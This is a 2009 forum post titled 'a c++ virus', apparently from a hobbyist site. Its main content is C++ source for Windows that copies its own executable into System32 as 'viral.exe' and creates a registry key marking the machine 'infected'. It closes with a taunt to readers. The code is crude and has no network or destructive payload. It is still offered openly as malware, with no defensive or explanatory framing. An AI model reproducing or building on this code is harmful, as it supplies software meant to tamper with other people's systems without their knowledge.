Sunday, 2024-12-22, 3:55 PM
Welcome Guest | RSS
Farhan Khalid
Main | a c++ virus: - Forum | Registration | Login
[ New messages · Members · Forum rules · Search · RSS ]
  • Page 1 of 1
  • 1
a c++ virus:
usman125
Messages: 12
Group: Moderators
Rank: Private
Reputation: -1
Status: Offline

Awards: 0Loading awards ...
Date:
Wednesday,
2009-03-18,
1:35 PM

Message # 1
a c++ virus:

#include windows.h
#include string.h

char windir[MAX_PATH];

int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{

char pathname[256];
HKEY hKey;

GetWindowsDirectory(windir, sizeof(windir));
HMODULE hMe = GetModuleHandle(NULL);
DWORD nRet = GetModuleFileName(hMe, pathname, 256);

strcat(windir, "\\System32\\viral.exe");
CopyFile(pathname,windir,0);

unsigned char reg[10] = "infected";

RegCreateKey(HKEY_CURRENT_USER,"Software\\retro",&hKey);
RegSetValueEx(hKey,"virus",0,REG_SZ,reg,sizeof(reg));
RegCloseKey(hKey);

}

thare, ya happy ya frikin bums


This user has not applied a signature yet.
HTML code to this post
BB-code to this post
Direct link to this post
  • Page 1 of 1
  • 1
Search:

Copyright MyCorp © 2024

Hosted by uCoz